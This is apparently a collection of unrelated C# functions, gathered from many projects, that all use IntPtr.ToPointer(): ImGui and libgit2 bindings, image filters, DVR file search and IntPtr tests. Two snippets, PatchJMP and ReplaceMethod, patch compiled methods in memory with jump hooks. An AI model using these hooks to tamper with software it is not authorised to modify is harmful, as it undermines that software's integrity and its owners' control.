// Move memory which may be on the heap which may have object references in it. // In general, a memcpy on the heap is unsafe, but this is able to perform the // correct write barrier such that the GC is not incorrectly impacted. public unsafe static void BulkMoveWithWriteBarrier(IntPtr dmem, IntPtr smem, int size) { RuntimeImports.RhBulkMoveWithWriteBarrier((byte *)dmem.ToPointer(), (byte *)smem.ToPointer(), size); }
/// <summary> Returns number of physical CPUs or CPU cores in the system. </summary> public static int GetProcessorCount() { if (cpuCount == 0) { if (platform == PlatformID.Win32NT) { // size of SYSTEM_LOGICAL_PROCESSOR_INFORMATION structure int structureSize = (IntPtr.Size == 4) ? 24 : 32; IntPtr buffer = IntPtr.Zero; int lengthBytes = 0; GetLogicalProcessorInformation(buffer, ref lengthBytes); buffer = Marshal.AllocHGlobal(lengthBytes); if (GetLogicalProcessorInformation(buffer, ref lengthBytes)) { unsafe { IntPtr offset = buffer; void * bufferEnd = new IntPtr(buffer.ToInt64() + lengthBytes).ToPointer(); while (offset.ToPointer() < bufferEnd) { int relationship = *(int *)(offset + IntPtr.Size).ToPointer(); if (relationship == 0) // RelationProcessorCore { cpuCount++; } offset += structureSize; } } } Marshal.FreeHGlobal(buffer); } else if (platform == PlatformID.Unix) { using (var stream = new System.IO.StreamReader("/proc/cpuinfo")) { string line; while ((line = stream.ReadLine()) != null) { if (line.StartsWithFast("cpu cores")) { line = line.Substring(line.IndexOf(':') + 1).Trim(); int parsedCores = 0; if (int.TryParse(line, out parsedCores)) { if (parsedCores > cpuCount) { cpuCount = parsedCores; } } } } } } else if (platform == PlatformID.MacOSX) { IntPtr value = Marshal.AllocHGlobal(sizeof(int)); IntPtr length = new IntPtr(sizeof(int)); if (sysctlbyname("hw.physicalcpu", ref value, ref length, IntPtr.Zero, IntPtr.Zero) == 0) { cpuCount = Marshal.PtrToStructure <int>(value); } Marshal.FreeHGlobal(value); } if (cpuCount == 0) { Log.Error("Failed to retrieve number of physical CPU cores"); cpuCount = 1; } } return(cpuCount); }
//////////////////////////////////////////////////////////////////////////公有函数 /// <summary> /// 从视频文件的特定位置抽取一帧图像 /// </summary> /// <param name="videoFile">视频文件的绝对路径</param> /// <param name="percentagePosition">抽取帧的位置,合法范围是0.0-1.0</param> /// <param name="streamLength">视频流的长度(秒)</param> /// <param name="target">限制图像的大小,如果为空则为原视频帧的大小</param> /// <param name="videoformate">视频的格式,主要是判断判断判asf格式视频</param> /// <returns></returns> public static Bitmap GetFrameFromVideo(string videoFile, int currentFrameNo, Size target, string videoformate) { //视频文件的绝对路径为空时,抛出异常 if (string.IsNullOrEmpty(videoFile)) { throw new ArgumentNullException("videoFile"); } try { MediaDetClass mediaDet; //定义媒体探测器类的对象 _AMMediaType mediaType; //打开视频流时,获取相应的信息 if (OpenVideoStream(videoFile, out mediaDet, out mediaType)) { double streamLength = mediaDet.StreamLength; //获取当前视频流的总时间长度 double frameRate; //获取视频流的输出帧率 if (videoformate == "asf") { frameRate = 30; //默认为30 } else { frameRate = mediaDet.FrameRate; } double dlTotalFrames = Math.Floor(streamLength * frameRate); //获取视频总帧数(可能与实际的总帧数相差1) int itTotalFrames = Convert.ToInt32(dlTotalFrames); //将视频总帧数转化为整数 if (currentFrameNo < 0 || currentFrameNo > itTotalFrames) { throw new ArgumentOutOfRangeException("currentFrameNo", currentFrameNo, "Invalid FrameNo!"); } double percentagePosition = currentFrameNo / dlTotalFrames; Size videoFrameSize = GetVideoSize(mediaType); //获取视频帧的大小 if (target == Size.Empty) { target = videoFrameSize; } else { target = ScaleToFit(target, videoFrameSize); } //使用MediaDetClass::GetBitmapBits()获取视频帧 unsafe { int bmpInfoHeaderSize = sizeof(WinStructs.BITMAPINFOHEADER); // //获取图像缓冲区大小(包括图像头) int bufferSize = ((target.Width * target.Height) * 24) / 8 + bmpInfoHeaderSize; //等效mediaDet.GetBitmapBits(0d, ref bufferSize, ref *buffer, target.Width, target.Height) //分配足够内存来存储视频帧 IntPtr frameBuffer = Marshal.AllocHGlobal(bufferSize); byte * pFrameBuffer = (byte *)frameBuffer.ToPointer(); //取得视频帧,放入frameBuffer(BITMAPINFOHEADER结构类型) mediaDet.GetBitmapBits(streamLength * percentagePosition, ref bufferSize, ref *pFrameBuffer, target.Width, target.Height); int bytes = target.Width * target.Height * 3; //获取图像数据的大小 byte[] rgbValues = new byte[bytes]; Marshal.Copy(frameBuffer, rgbValues, 0, bytes); //数据从InPtr指定的内存复制到一维字节数组中 double colorTemp = 0; //用于保存像素的灰度值 for (int i = 0; i < rgbValues.Length; i += 3) { //在一维字节数组中按BGR排列,即[0]为B,[1]为G,[2]为R,i一次自增3. colorTemp = rgbValues[i + 2] * 0.299 + rgbValues[i + 1] * 0.587 + rgbValues[i] * 0.114; rgbValues[i + 2] = rgbValues[i + 1] = rgbValues[i] = (byte)colorTemp; } Marshal.Copy(rgbValues, 0, frameBuffer, bytes); //数据从一维字节数组复制到InPtr指定的内存中 Bitmap bmp = new Bitmap(target.Width, target.Height, target.Width * 3, System.Drawing.Imaging.PixelFormat.Format24bppRgb, new IntPtr(pFrameBuffer + bmpInfoHeaderSize)); bmp.RotateFlip(RotateFlipType.Rotate180FlipX); Marshal.FreeHGlobal(frameBuffer); return(bmp); } } } catch (COMException ex) { throw new InvalidVideoFileException(ErrorProcess.GetErrorMsg((uint)ex.ErrorCode), ex); } throw new InvalidVideoFileException("没有视频流文件!"); }
internal static unsafe string?GetVerb(IntPtr memoryBlob, IntPtr originalAddress) { return(GetVerb((HTTP_REQUEST *)memoryBlob.ToPointer(), (byte *)memoryBlob - (byte *)originalAddress)); }
//patch the compiled JIT assembly with a primitive JMP hook private unsafe byte[] PatchJMP(MethodInfo original, MethodInfo replacement) { //JIT compile methods RuntimeHelpers.PrepareMethod(original.MethodHandle); RuntimeHelpers.PrepareMethod(replacement.MethodHandle); //compile both functions and get pointers to them. IntPtr originalSite = original.MethodHandle.GetFunctionPointer(); IntPtr replacementSite = replacement.MethodHandle.GetFunctionPointer(); //instruction opcodes are 13 bytes on 64-bit, 7 bytes on 32-bit uint offset = (is64 ? 13u : 6u); //we store the original opcodes for restoration later byte[] originalOpcodes = new byte[offset]; unsafe { //segfault protection uint oldProtecton = VirtualProtect(originalSite, (uint)originalOpcodes.Length, (uint)Natives.PageProtection.PAGE_EXECUTE_READWRITE); //get unmanaged function pointer to address of original site byte *originalSitePointer = (byte *)originalSite.ToPointer(); //copy the original opcodes for (int k = 0; k < offset; k++) { originalOpcodes[k] = *(originalSitePointer + k); } //check which architecture we are patching for if (is64) { //mov r11, replacementSite *originalSitePointer = 0x49; *(originalSitePointer + 1) = 0xBB; *((ulong *)(originalSitePointer + 2)) = (ulong)replacementSite.ToInt64(); //sets 8 bytes //jmp r11 *(originalSitePointer + 10) = 0x41; *(originalSitePointer + 11) = 0xFF; *(originalSitePointer + 12) = 0xE3; } else { //push replacementSite *originalSitePointer = 0x68; *((uint *)(originalSitePointer + 1)) = (uint)replacementSite.ToInt32(); //sets 4 bytes //ret *(originalSitePointer + 5) = 0xC3; } //flush insutruction cache to make sure our new code executes FlushInstructionCache(originalSite, (uint)originalOpcodes.Length); //done VirtualProtect(originalSite, (uint)originalOpcodes.Length, oldProtecton); } //return original opcodes return(originalOpcodes); }
public void SetTexID(IntPtr textureID) { ImGuiNative.ImFontAtlas_SetTexID(_atlasPtr, textureID.ToPointer()); }
public static unsafe int InterlockedCompareExchange(IntPtr pDestination, int exchange, int compare) { return(Interlocked.CompareExchange(ref *(int *)pDestination.ToPointer(), exchange, compare)); }
private static unsafe char *StringToChar(string s) { IntPtr p = Marshal.StringToHGlobalUni(s); return((char *)p.ToPointer()); }
public static bool InputText( string label, byte[] buf, uint buf_size, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, IntPtr user_data) { int utf8LabelByteCount = Encoding.UTF8.GetByteCount(label); byte *utf8LabelBytes; if (utf8LabelByteCount > Util.StackAllocationSizeLimit) { utf8LabelBytes = Util.Allocate(utf8LabelByteCount + 1); } else { byte *stackPtr = stackalloc byte[utf8LabelByteCount + 1]; utf8LabelBytes = stackPtr; } Util.GetUtf8(label, utf8LabelBytes, utf8LabelByteCount); bool ret; fixed(byte *bufPtr = buf) { ret = ImGuiNative.igInputText(utf8LabelBytes, bufPtr, buf_size, flags, callback, user_data.ToPointer()) != 0; } if (utf8LabelByteCount > Util.StackAllocationSizeLimit) { Util.Free(utf8LabelBytes); } return(ret); }
/// <summary> /// 直方圖 /// </summary> /// <param name="Source">來源圖片</param> /// <returns>結果圖片</returns> static public Bitmap Histogram(Bitmap Source) { int Width = Source.Width, Height = Source.Height; BitmapData SourceData = Source.LockBits(new Rectangle(0, 0, Width, Height), ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb); IntPtr SourceScan = SourceData.Scan0; int[,] Frequency = new int[4, 256]; int Max = 0; int X, Y, T; byte *SourcePointer = (byte *)SourceScan.ToPointer(); for (Y = 0; Y < 4; ++Y) { for (X = 0; X < 256; ++X) { Frequency[Y, X] = 0; } } int Total = 0; for (Y = 0; Y < Height; ++Y) { for (X = 0; X < Width; ++X) { Total = 0; for (T = 0; T < 3; ++T) { Total += SourcePointer[0]; ++Frequency[T, SourcePointer[0]]; Max = Max < Frequency[T, SourcePointer[0]] ? Frequency[T, SourcePointer[0]] : Max; ++SourcePointer; } Total /= 3; ++Frequency[3, Total]; Max = Max < Frequency[3, Total] ? Frequency[3, Total] : Max; ++SourcePointer; } } Source.UnlockBits(SourceData); PointF[][] PointFs = new PointF[4][]; float XBigger = 5; float YSmaller = 1000.0F / Max; int ResWid = (int)(256 * XBigger), ResHei = 1000; for (Y = 0; Y < 4; ++Y) { PointFs[Y] = new PointF[256]; for (X = 0; X < 256; ++X) { PointFs[Y][X] = new PointF(X * XBigger + XBigger / 2, (Max - Frequency[Y, X]) * YSmaller); } } Bitmap Result = new Bitmap(ResWid, ResHei); Graphics ResultGraphic = Graphics.FromImage(Result); ResultGraphic.Clear(Color.White); Pen Red = new Pen(Color.Red); Pen Green = new Pen(Color.Green); Pen Blue = new Pen(Color.Blue); Pen Black = new Pen(Color.Black); ResultGraphic.DrawLines(Black, PointFs[3]); ResultGraphic.DrawLines(Red, PointFs[2]); ResultGraphic.DrawLines(Green, PointFs[1]); ResultGraphic.DrawLines(Blue, PointFs[0]); ResultGraphic.Dispose(); return(Result); }
public static bool InputText( string label, ref string input, uint maxLength, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, IntPtr user_data) { int utf8LabelByteCount = Encoding.UTF8.GetByteCount(label); byte *utf8LabelBytes; if (utf8LabelByteCount > Util.StackAllocationSizeLimit) { utf8LabelBytes = Util.Allocate(utf8LabelByteCount + 1); } else { byte *stackPtr = stackalloc byte[utf8LabelByteCount + 1]; utf8LabelBytes = stackPtr; } Util.GetUtf8(label, utf8LabelBytes, utf8LabelByteCount); int utf8InputByteCount = Encoding.UTF8.GetByteCount(input); int inputBufSize = Math.Max((int)maxLength + 1, utf8InputByteCount + 1); byte *utf8InputBytes; byte *originalUtf8InputBytes; if (inputBufSize > Util.StackAllocationSizeLimit) { utf8InputBytes = Util.Allocate(inputBufSize); originalUtf8InputBytes = Util.Allocate(inputBufSize); } else { byte *inputStackBytes = stackalloc byte[inputBufSize]; utf8InputBytes = inputStackBytes; byte *originalInputStackBytes = stackalloc byte[inputBufSize]; originalUtf8InputBytes = originalInputStackBytes; } Util.GetUtf8(input, utf8InputBytes, inputBufSize); uint clearBytesCount = (uint)(inputBufSize - utf8InputByteCount); Unsafe.InitBlockUnaligned(utf8InputBytes + utf8InputByteCount, 0, clearBytesCount); Unsafe.CopyBlock(originalUtf8InputBytes, utf8InputBytes, (uint)inputBufSize); byte result = ImGuiNative.igInputText( utf8LabelBytes, utf8InputBytes, (uint)inputBufSize, flags, callback, user_data.ToPointer()); if (!Util.AreStringsEqual(originalUtf8InputBytes, inputBufSize, utf8InputBytes)) { input = Util.StringFromPtr(utf8InputBytes); } if (utf8LabelByteCount > Util.StackAllocationSizeLimit) { Util.Free(utf8LabelBytes); } if (inputBufSize > Util.StackAllocationSizeLimit) { Util.Free(utf8InputBytes); Util.Free(originalUtf8InputBytes); } return(result != 0); }
static private Bitmap Simplefilter(Bitmap Source, int Range, SimpleFilter SF) { int Width = Source.Width, Height = Source.Height; Bitmap Result = new Bitmap(Width, Height); BitmapData SourceData = Source.LockBits(new Rectangle(0, 0, Width, Height), ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb); BitmapData ResultData = Result.LockBits(new Rectangle(0, 0, Width, Height), ImageLockMode.WriteOnly, PixelFormat.Format32bppArgb); IntPtr SourceScan = SourceData.Scan0; IntPtr ResultScan = ResultData.Scan0; int X, Y, T, A, B; List <byte> RGBList = new List <byte>(); byte[,,] SourceImage = new byte[Height, Width, 3]; byte[,,] ResultImage = new byte[Height, Width, 3]; byte *SourcePointer = (byte *)SourceScan.ToPointer(); byte *ResultPointer = (byte *)ResultScan.ToPointer(); for (Y = 0; Y < Height; ++Y) { for (X = 0; X < Width; ++X) { for (T = 0; T < 3; ++T) { SourceImage[Y, X, T] = SourcePointer[0]; ++SourcePointer; } ++SourcePointer; } } for (Y = 0; Y < Height; ++Y) { for (X = 0; X < Width; ++X) { for (T = 0; T < 3; ++T) { RGBList.Clear(); for (A = Y - Range / 2; A <= Y + Range / 2; ++A) { if (A >= 0 && A < Height) { for (B = X - Range / 2; B <= X + Range / 2; ++B) { if (B >= 0 && B < Width) { RGBList.Add(SourceImage[A, B, T]); } } } } if (SF == SimpleFilter.Median) { ResultImage[Y, X, T] = Median(RGBList.ToArray()); } else if (SF == SimpleFilter.ArithmeticMean) { ResultImage[Y, X, T] = Arithmeticmean(RGBList.ToArray()); } else if (SF == SimpleFilter.Max) { ResultImage[Y, X, T] = Max(RGBList.ToArray()); } else if (SF == SimpleFilter.Min) { ResultImage[Y, X, T] = Min(RGBList.ToArray()); } else if (SF == SimpleFilter.MidPoint) { ResultImage[Y, X, T] = MidPoint(RGBList.ToArray()); } } } } for (Y = 0; Y < Height; ++Y) { for (X = 0; X < Width; ++X) { for (T = 0; T < 3; ++T) { ResultPointer[0] = ResultImage[Y, X, T]; ++ResultPointer; } ResultPointer[0] = 255; ++ResultPointer; } } Source.UnlockBits(SourceData); Result.UnlockBits(ResultData); return(Result); }
public static unsafe void FreeHString(IntPtr pHString) { ExternalInterop.WindowsDeleteString(pHString.ToPointer()); }
unsafe int StreamWriteCallback(IntPtr stream, IntPtr buffer, UIntPtr len) { int result = 0; try { Ensure.ArgumentNotZeroIntPtr(stream, "stream"); Ensure.ArgumentNotZeroIntPtr(buffer, "buffer"); Ensure.ArgumentIsExpectedIntPtr(stream, thisPtr, "stream"); using (UnmanagedMemoryStream input = new UnmanagedMemoryStream((byte *)buffer.ToPointer(), (long)len)) using (BufferedStream outputBuffer = new BufferedStream(output, BufferSize)) { switch (filterSource.SourceMode) { case FilterMode.Clean: Clean(filterSource.Path, filterSource.Root, input, outputBuffer); break; case FilterMode.Smudge: Smudge(filterSource.Path, filterSource.Root, input, outputBuffer); break; default: Proxy.giterr_set_str(GitErrorCategory.Filter, "Unexpected filter mode."); return((int)GitErrorCode.Ambiguous); } } } catch (Exception exception) { Log.Write(LogLevel.Error, "Filter.StreamWriteCallback exception"); Log.Write(LogLevel.Error, exception.ToString()); Proxy.giterr_set_str(GitErrorCategory.Filter, exception); result = (int)GitErrorCode.Error; } return(result); }
private void btnSearch_Click(object sender, EventArgs e) { m_nGetPage = 0; m_nCurPage = 0; m_nTotalPage = 0; // 条件检测 if (comboDev.SelectedIndex < 0) { MessageBox.Show("Select a Device!"); return; } if (!checkFile.Checked && !checkTime.Checked) { MessageBox.Show("Select a Search mode!"); return; } ClearResult(); H264_DVR_TIME StartTime; H264_DVR_TIME StopTime; int nChannel = comboChannel.SelectedIndex; //channel No. int nFileType = comboRecordType.SelectedIndex; //file type if (nFileType >= 5) { nFileType += 5; } StartTime.dwYear = beginDate.Value.Year; StartTime.dwMonth = beginDate.Value.Month; StartTime.dwDay = beginDate.Value.Day; StartTime.dwHour = beginTime.Value.Hour; StartTime.dwMinute = beginTime.Value.Minute; StartTime.dwSecond = beginTime.Value.Second; StopTime.dwYear = endDate.Value.Year; StopTime.dwMonth = endDate.Value.Month; StopTime.dwDay = endDate.Value.Day; StopTime.dwHour = endDate.Value.Hour; StopTime.dwMinute = endDate.Value.Minute; StopTime.dwSecond = endDate.Value.Second; H264_DVR_FILE_DATA[] szSend = new H264_DVR_FILE_DATA[64]; ComboxItem item = (ComboxItem)comboDev.SelectedItem; if (item.Value != null) { DEV_INFO devInfo = (DEV_INFO)item.Value; int lLoginID = devInfo.lLoginID; int nMaxLen = 100; int waitTime = 4000; int nNum = 0; H264_DVR_FINDINFO searchInfo = new H264_DVR_FINDINFO(); searchInfo.startTime = StartTime; searchInfo.endTime = StopTime; searchInfo.nChannelN0 = nChannel; searchInfo.nFileType = nFileType; IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(H264_DVR_FILE_DATA)) * 100); int nRet = XMSDK.H264_DVR_FindFile(lLoginID, ref searchInfo, ptr, nMaxLen, out nNum, waitTime); m_nCurRecNum = nNum; for (int index = 0; index < nNum; index++) { unsafe { int *pDev = (int *)ptr.ToPointer(); pDev += Marshal.SizeOf(typeof(H264_DVR_FILE_DATA)) * index / 4; IntPtr ptrTemp = new IntPtr(pDev); szSend[index] = (H264_DVR_FILE_DATA)Marshal.PtrToStructure(ptrTemp, typeof(H264_DVR_FILE_DATA)); // m_listFile[index] = szSend[index]; } } m_listFile.Clear(); if (nRet > 0) { if (nNum > 0) { if (m_nCurRecNum > m_listFile.Capacity) { m_listFile.Capacity = m_nCurRecNum; } for (int i = 0; i < m_nCurRecNum; i++) { m_listFile.Add(szSend[i]); } m_nSearchInfo[m_nCurPage] = searchInfo; m_nCurPage = 1; m_nSearchInfo[m_nCurPage].nChannelN0 = nChannel; m_nSearchInfo[m_nCurPage].nFileType = nFileType; m_nSearchInfo[m_nCurPage].startTime.dwYear = szSend[m_nCurRecNum - 1].stEndTime.year; m_nSearchInfo[m_nCurPage].startTime.dwMonth = szSend[m_nCurRecNum - 1].stEndTime.month; m_nSearchInfo[m_nCurPage].startTime.dwDay = szSend[m_nCurRecNum - 1].stEndTime.day; m_nSearchInfo[m_nCurPage].startTime.dwHour = szSend[m_nCurRecNum - 1].stEndTime.hour; m_nSearchInfo[m_nCurPage].startTime.dwMinute = szSend[m_nCurRecNum - 1].stEndTime.minute; m_nSearchInfo[m_nCurPage].startTime.dwSecond = szSend[m_nCurRecNum - 1].stEndTime.second; m_nSearchInfo[m_nCurPage].endTime = searchInfo.endTime; m_nGetPage++; if (nNum < PLAYBACK_MAX_FILE_NUM) { m_nTotalPage = m_nGetPage; } AddFileListInfo(m_nCurRecNum);//add list item SetPageBtnState(nNum); } else { MessageBox.Show("No File"); } } else { MessageBox.Show("SearchFail"); } } }
public static unsafe void TestBasics() { if (sizeof(void*) == 4) { // Skip IntPtr tests on 32-bit platforms return; } IntPtr p; int i; long l; int size = IntPtr.Size; Assert.Equal(size, sizeof(void*)); TestPointer(IntPtr.Zero, 0); i = 42; TestPointer(new IntPtr(i), i); TestPointer((IntPtr)i, i); i = 42; TestPointer(new IntPtr(i), i); i = -1; TestPointer(new IntPtr(i), i); l = 0x0fffffffffffffff; TestPointer(new IntPtr(l), l); TestPointer((IntPtr)l, l); void* pv = new IntPtr(42).ToPointer(); TestPointer(new IntPtr(pv), 42); TestPointer((IntPtr)pv, 42); p = IntPtr.Add(new IntPtr(42), 5); TestPointer(p, 42 + 5); // Add is spected NOT to generate an OverflowException p = IntPtr.Add(new IntPtr(0x7fffffffffffffff), 5); unchecked { TestPointer(p, (long)0x8000000000000004); } p = IntPtr.Subtract(new IntPtr(42), 5); TestPointer(p, 42 - 5); bool b; p = new IntPtr(42); b = p.Equals(null); Assert.False(b); b = p.Equals((object)42); Assert.False(b); b = p.Equals((object)(new IntPtr(42))); Assert.True(b); int h = p.GetHashCode(); int h2 = p.GetHashCode(); Assert.Equal(h, h2); p = new IntPtr(42); i = (int)p; Assert.Equal(i, 42); l = (long)p; Assert.Equal(l, 42); IntPtr p2; p2 = (IntPtr)i; Assert.Equal(p, p2); p2 = (IntPtr)l; Assert.Equal(p, p2); p2 = (IntPtr)(p.ToPointer()); Assert.Equal(p, p2); p2 = new IntPtr(40) + 2; Assert.Equal(p, p2); p2 = new IntPtr(44) - 2; Assert.Equal(p, p2); p = new IntPtr(0x7fffffffffffffff); Assert.Throws<OverflowException>(() => { i = (int)p; }); }
private void btnPrePage_Click(object sender, EventArgs e) { if (m_nGetPage <= 1 || m_nCurPage <= 1) { return; } m_nCurPage--; m_nGetPage--; ClearResult(); m_ListFindNum = m_ListFindNum - 1; // if (GetNextPageInfo( m_listFindInfo[--m_ListFindNum]) > 0 ) { H264_DVR_FILE_DATA[] szSend = new H264_DVR_FILE_DATA[100]; int nNum = 0; // H264_DVR_FINDINFO findinfo = m_listFindInfo[m_ListFindNum]; IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(H264_DVR_FILE_DATA)) * 100); int nRet = XMSDK.H264_DVR_FindFile(m_lLoginID, ref m_nSearchInfo[m_nCurPage - 1], ptr, 100, out nNum, 5000); for (int index = 0; index < nNum; index++) { unsafe { int *pDev = (int *)ptr.ToPointer(); pDev += Marshal.SizeOf(typeof(H264_DVR_FILE_DATA)) * index / 4; IntPtr ptrTemp = new IntPtr(pDev); szSend[index] = (H264_DVR_FILE_DATA)Marshal.PtrToStructure(ptrTemp, typeof(H264_DVR_FILE_DATA)); // m_listFile[index] = szSend[index]; } } m_listFile.Clear(); m_nCurRecNum = nNum; if (nRet > 0 && nNum > 0) //处理没有录象的情况 { if (m_nCurRecNum > m_listFile.Capacity) { m_listFile.Capacity = m_nCurRecNum; } for (int i = 0; i < m_nCurRecNum; i++) { m_listFile.Add(szSend[i]); } m_ListFindNum++; } else { } AddFileListInfo(m_nCurRecNum); SetPageBtnState(nNum); } }
/// <summary> /// Copy block of unmanaged memory. /// </summary> /// /// <param name="dst">Destination pointer.</param> /// <param name="src">Source pointer.</param> /// <param name="count">Memory block's length to copy.</param> /// /// <returns>Return's value of <paramref name="dst"/> - pointer to destination.</returns> /// /// <remarks><para>This function is required because of the fact that .NET does /// not provide any way to copy unmanaged blocks, but provides only methods to /// copy from unmanaged memory to managed memory and vise versa.</para></remarks> /// public static IntPtr CopyUnmanagedMemory(IntPtr dst, IntPtr src, int count) { unsafe { CopyUnmanagedMemory((byte*)dst.ToPointer(), (byte*)src.ToPointer(), count); } return dst; }
private void btnNextPage_Click(object sender, EventArgs e) { if (m_nGetPage <= 0) { return; } ClearResult(); //if (GetNextPageInfo(m_nSearchInfo) > 0 && (m_nCurPage == m_nGetPage)) { H264_DVR_FILE_DATA[] szSend = new H264_DVR_FILE_DATA[100]; int nNum = 0; IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(H264_DVR_FILE_DATA)) * 100); int nRet = XMSDK.H264_DVR_FindFile(m_lLoginID, ref m_nSearchInfo[m_nCurPage], ptr, 100, out nNum, 5000); for (int index = 0; index < nNum; index++) { unsafe { int *pDev = (int *)ptr.ToPointer(); pDev += Marshal.SizeOf(typeof(H264_DVR_FILE_DATA)) * index / 4; IntPtr ptrTemp = new IntPtr(pDev); szSend[index] = (H264_DVR_FILE_DATA)Marshal.PtrToStructure(ptrTemp, typeof(H264_DVR_FILE_DATA)); m_listFile[index] = szSend[index]; } } m_listFile.Clear(); m_nCurRecNum = nNum; if (nRet > 0 && nNum > 0) //处理没有录象的情况 { if (m_nCurRecNum > m_listFile.Capacity) { m_listFile.Capacity = m_nCurRecNum; } for (int i = 0; i < m_nCurRecNum; i++) { m_listFile.Add(szSend[i]); } m_nCurPage++; m_nSearchInfo[m_nCurPage].nChannelN0 = m_nSearchInfo[0].nChannelN0; m_nSearchInfo[m_nCurPage].nFileType = m_nSearchInfo[0].nFileType; m_nSearchInfo[m_nCurPage].startTime.dwYear = szSend[m_nCurRecNum - 1].stEndTime.year; m_nSearchInfo[m_nCurPage].startTime.dwMonth = szSend[m_nCurRecNum - 1].stEndTime.month; m_nSearchInfo[m_nCurPage].startTime.dwDay = szSend[m_nCurRecNum - 1].stEndTime.day; m_nSearchInfo[m_nCurPage].startTime.dwHour = szSend[m_nCurRecNum - 1].stEndTime.hour; m_nSearchInfo[m_nCurPage].startTime.dwMinute = szSend[m_nCurRecNum - 1].stEndTime.minute; m_nSearchInfo[m_nCurPage].startTime.dwSecond = szSend[m_nCurRecNum - 1].stEndTime.second; m_nSearchInfo[m_nCurPage].endTime = m_nSearchInfo[0].endTime; m_nGetPage++; if (m_nCurRecNum < PLAYBACK_MAX_FILE_NUM) { m_nTotalPage = m_nGetPage; } AddFileListInfo(m_nCurRecNum); SetPageBtnState(nNum); } else { } } }
public SokowahnHash_Index24() #endif #endif { #if multiHash hashes = new Dictionary<ulong, ushort>[hashesAnzahl]; for (int i = 0; i < hashes.Length; i++) hashes[i] = new Dictionary<ulong, ushort>(); #else hash = new Dictionary<ulong, ushort>(); #endif #if Index16 archivIndexPointer = Marshal.AllocHGlobal((1 << 16) * 2 * 4); if (archivIndexPointer == IntPtr.Zero) throw new Exception("Speicher konnte nicht reserviert werden (" + (((1 << 16) * 2 * 4) / 1048576L) + " MB)"); archivIndex = (uint*)archivIndexPointer.ToPointer(); for (int i = 0; i < (1 << 16) * 2; i++) archivIndex[i] = 0; #endif #if Index24 archivIndexPointer = Marshal.AllocHGlobal((1 << 24) * 2 * 4); if (archivIndexPointer == IntPtr.Zero) throw new Exception("Speicher konnte nicht reserviert werden (" + (((1 << 24) * 2 * 4) / 1048576L) + " MB)"); archivIndex = (uint*)archivIndexPointer.ToPointer(); for (int i = 0; i < (1 << 24) * 2; i++) archivIndex[i] = 0; #endif }
private unsafe string ToString(IntPtr str) { return(new string((char *)str.ToPointer())); }
internal unsafe Libgit2Object(IntPtr ptr, bool owned) : this(ptr.ToPointer(), owned) { }
public static unsafe IntPtr SetMemory(IntPtr destination, byte filler, int length) { SetMemory((byte *)destination.ToPointer(), filler, length); return(destination); }
// // Wrapper for calling RaiseFailFastException // internal static unsafe void RaiseFailFastException(uint faultCode, IntPtr pExContext) { long ctxIP = 0; Interop._CONTEXT* pContext = (Interop._CONTEXT*)pExContext.ToPointer(); if (pExContext != IntPtr.Zero) { #if AMD64 ctxIP = (long)pContext->Rip; #elif ARM ctxIP = (long)pContext->Pc; #elif X86 ctxIP = (long)pContext->Eip; #else System.Diagnostics.Debug.Assert(false, "Unsupported architecture"); #endif } _EXCEPTION_RECORD exceptionRecord; exceptionRecord.ExceptionCode = faultCode; exceptionRecord.ExceptionFlags = (uint)Constants.ExceptionNonContinuable; exceptionRecord.ExceptionRecord = IntPtr.Zero; exceptionRecord.ExceptionAddress = new IntPtr(ctxIP); // use the IP set in context record as the exception address exceptionRecord.NumberParameters = 0; // don't care about exceptionRecord.ExceptionInformation as we set exceptionRecord.NumberParameters to zero PInvoke_RaiseFailFastException( &exceptionRecord, pContext, ctxIP == 0 ? (uint)Constants.FailFastGenerateExceptionAddress : 0); }
public static unsafe IntPtr CopyMemory(IntPtr source, IntPtr destination, int length) { CopyMemory((byte *)source.ToPointer(), (byte *)destination.ToPointer(), length); return(destination); }
public override int[] GetElementsAsInt(long index, int length) { unsafe { if (ElementType == DType.Int32) { int * p = ((int *)buffer.ToPointer()); int[] array = new int[length]; for (int i = 0; i < length; i++) { array[i] = *(p + i); } return(array); } else { throw new NotSupportedException("Element type " + ElementType + " not supported"); } } }
/// <summary> /// Replaces the method. /// </summary> /// <param name="srcAdr">The SRC adr.</param> /// <param name="dest">The dest.</param> public static void ReplaceMethod(IntPtr srcAdr, MethodBase dest) { var destAdr = GetMethodAddress(dest); unsafe { if (IntPtr.Size == 8) { var d = (ulong*)destAdr.ToPointer(); *d = *((ulong*)srcAdr.ToPointer()); } else { var d = (uint*)destAdr.ToPointer(); *d = *((uint*)srcAdr.ToPointer()); } } }